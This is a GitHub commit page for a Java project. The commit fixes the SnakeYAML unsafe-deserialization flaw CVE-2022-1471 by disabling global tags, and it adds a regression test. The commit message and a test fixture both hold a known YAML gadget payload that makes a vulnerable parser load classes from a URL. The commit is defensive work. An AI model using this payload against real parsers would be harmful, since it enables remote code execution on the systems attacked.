Skip to content

Commit

Permalink
Ensure that snakeyaml does not deserialize objects based on YAML tags
Browse files Browse the repository at this point in the history
[CVE-2022-1471][1] describes an issue where versions of SnakeYAML prior to
2.0 would deserialize a YAML document and instantiate a class based on
the document contents.  This behavior can lead to issues like

```
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
```

where untrusted code can be loaded over the internet into the
ClassLoader.

This issue is addressed in version 2.0 where SnakeYAML was altered to no
longer allow so-called "global tags" which are the mechanism used for
this arbitrary deserialization.  There is also the `SafeConstructor`
class which does not do any deserialization beyond primitive Java types
and basic collections.

We, however, need to deserialize to an object of our choice,
SubscriptionRegistry, so this patch explicitly disables global tags
(even though that is the default with SnakeYAML >2.0 anyway) and adds a
test to ensure global tags are disabled.

[1]: https://www.cve.org/CVERecord?id=CVE-2022-1471
  • Loading branch information
awood committed Oct 15, 2024
1 parent 22593f1 commit f1fb693
Show file tree
Hide file tree
Showing 4 changed files with 56 additions and 0 deletions.
Original file line number Diff line number Diff line change
Expand Up @@ -30,6 +30,9 @@
import org.yaml.snakeyaml.LoaderOptions;
import org.yaml.snakeyaml.Yaml;
import org.yaml.snakeyaml.constructor.Constructor;
import org.yaml.snakeyaml.inspector.TagInspector;
import org.yaml.snakeyaml.inspector.UnTrustedTagInspector;
import org.yaml.snakeyaml.nodes.Tag;

/**
* Loads yaml files from src/main/resource/subscription_configs into List<Subscription>. Provides
Expand Down Expand Up @@ -59,8 +62,11 @@ public static synchronized void reset() {

SubscriptionDefinitionRegistry() {
subscriptions = new ArrayList<>();

var options = new LoaderOptions();
options.setTagInspector(new UnTrustedTagInspector());
options.setEnumCaseSensitive(false);

Constructor constructor = new Constructor(SubscriptionDefinition.class, options);
constructor.getPropertyUtils().setSkipMissingProperties(true);

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -28,6 +28,12 @@
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestInstance;
import org.junit.jupiter.api.TestInstance.Lifecycle;
import org.yaml.snakeyaml.composer.ComposerException;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;

@TestInstance(Lifecycle.PER_CLASS)
class SubscriptionDefinitionRegistryTest {
Expand All @@ -36,6 +42,19 @@ class SubscriptionDefinitionRegistryTest {

@BeforeAll
void setup() {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
var url = classLoader.getResource("swatch_config_index.txt");

if (Files.isSymbolicLink(Paths.get(url.getPath()))){
var warning = """
Detected a symlink version of swatch_config_index.txt. This link should only be used
in testNoGlobalTags(). Its presence indicates a failure of the test to clean up after itself.
Please delete the symlink at %s and rerun the tests.
Also consider investigating why the symlink was not deleted after completion of the test.
""".formatted(url.getPath());
throw new IllegalStateException(warning);
}

subscriptionDefinitionRegistry = new SubscriptionDefinitionRegistry();
}

Expand All @@ -52,6 +71,34 @@ void testValidations() {
}
}

@Test
/** Test for SnakeYaml deserialization vulnerability due to enabled global tags. See
* <ul>
* <li>https://www.cve.org/CVERecord?id=CVE-2022-1471</li>
* <li>https://www.veracode.com/blog/research/resolving-cve-2022-1471-snakeyaml-20-release-0</li>
* <li>https://bitbucket.org/snakeyaml/snakeyaml/issues/561/cve-2022-1471-vulnerability-in</li>
* <li>https://www.websec.ca/publication/Blog/CVE-2022-21404-Another-story-of-developers-fixing-vulnerabilities-unknowingly-because-of-CodeQL</li>
* </ul>
*/
void testNoGlobalTags() throws IOException {
Path link = null;
try {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
var url = classLoader.getResource("cve_2022_1471_swatch_config_index.txt");
Path target = Paths.get(url.getPath());
Path parent = target.getParent();

link = parent.resolve("swatch_config_index.txt");
Files.createSymbolicLink(link, target);
assertThrows(ComposerException.class, SubscriptionDefinitionRegistry::new);
} finally {
if (link != null && Files.exists(link)) {
Files.delete(link);
}
}

}

@Test
void testLoadAllTheThings() {
assertFalse(subscriptionDefinitionRegistry.getSubscriptions().isEmpty());
Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,2 @@
# From https://snyk.io/blog/unsafe-deserialization-snakeyaml-java-cve-2022-1471/
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
cve_2022_1471_product.yaml

0 comments on commit f1fb693

Please sign in to comment.